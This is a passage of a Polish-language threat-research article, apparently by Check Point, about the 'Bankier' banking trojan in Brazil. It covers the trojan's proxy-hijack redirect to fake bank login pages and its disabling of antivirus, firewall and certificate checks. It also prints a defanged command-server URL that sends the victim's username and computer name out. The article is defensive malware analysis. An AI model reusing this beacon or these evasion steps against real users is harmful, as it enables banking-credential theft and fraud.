**Brazylijski trojan powraca**

**Brazylia. Kraj słynący z karnawału, plaż, orzechów kokosowych... i potężnych kampanii wyłudzania informacji. Od dłuższego czasu takie kampanie uważane są za zagrożenie na skalę całego kraju. Brazylijskie organizacje narażone są przeciętnie na ponad 1000 ataków phishingowych miesięcznie.**

Zespół badawczy Check Point często wykorzystuje w swoim programie szkoleń badawczych złośliwe oprogramowanie do phishingu pochodzące z Brazylii. Kiedyś daliśmy uczestnikom szkolenia dość stare złośliwe oprogramowanie, trojana zwanego popularnie „Bankierem”, wykrytego po raz pierwszy w 2009 roku.. Bankier nie jest skomplikowany pod względem technicznym, ale stanowi dobry przykład do badań opierających się na wywiadzie jawnoźródłowym (OSINT). Wyniki były całkiem zaskakujące.

Nasze badania wykazały, że chociaż z biegiem lat złośliwe oprogramowanie zmieniało się, to technika zastosowana w oryginalnej próbce jest wciąż jak najbardziej aktualna i prawdopodobnie można ją powiązać z tą samą kampanią lub tym samym sprawcą. Najnowsze próbki pochodzą ze stycznia 2016 roku, a nasilenie ataków wykrywanych przez ThreatCloud firmy Checkpoint sięga ostatnio ponad 100 ataków dziennie tylko w samej Brazylii.

**Charakterystyka – jak działa złośliwe oprogramowanie?**

„Bankier” próbuje wykraść dane uwierzytelniające użytkownika, by móc dokonywać nieuprawnionych transakcji finansowych. Metoda dokonywania infekcji jest prosta i skuteczna – złośliwe oprogramowanie zmienia konfigurację proxy w systemie operacyjnym atakowanego urządzenia. Za każdym razem, gdy użytkownik próbuje wejść na stronę jednego z banków stanowiących cel ataku, zostaje przekierowany na fałszywą stronę logowania. Myśląc, że loguje się na własny rachunek bankowy, podaje swoje dane uwierzytelniające – które w ten sposób trafiają w ręce autora ataku.

Pliki konfiguracyjne proxy podstawiane przez złośliwe oprogramowanie zawierają ustawienia odwołujące się do konkretnych brazylijskich banków i instytucji finansowych. Ta rodzina programów działa wyłącznie w Brazylii, a zainfekowane urządzenia znajdowane poza tym krajem prawdopodobnie świadczą jedynie o braku planowania i niedokładnej dystrybucji.

**Zaczyna się dochodzenie – analizujemy wczesne wersje złośliwego oprogramowania**

Wcześniejsze wersje oprogramowania były prostymi plikami wsadowymi skompresowanymi programem UPX. Złośliwe oprogramowanie próbuje zmienić kilka podstawowych ustawień zabezpieczeń, aby uniknąć wykrycia. Wyłącza na przykład powiadomienia z programu antywirusowego i zapory ogniowej, a także weryfikację certyfikatów zabezpieczeń w przeglądarce, kontrolę kont użytkowników i przywracanie systemu.

Ponadto program informuje swoich operatorów o zainfekowaniu danego urządzenia. Uruchamia zminimalizowane okno przeglądarki Internet Explorer i wysyła nazwę użytkownika oraz nazwę komputera ofiary do zdalnego serwera sterującego w postaci adresu URL o następującej budowie:

112[.]72.128.242/famas.php?a=%**username**%-%**computername**%

Złośliwe oprogramowanie kopiuje następnie konfigurację proxy do pliku zapisanego w folderze TEMP pod nazwą identyczną z nazwą komputera. Plik konfiguracyjny zawiera zestaw określonych funkcji. Funkcje te polegają zasadniczo na przekierowywaniu ofiary na złośliwe serwery, kiedy odwiedzi ona jedną z domen banków i instytucji finansowych będących celem ataku. Prosty, lecz zaciemniony plik konfiguracyjny zawierał nazwy 23 instytucji finansowych (zobacz załącznik 1).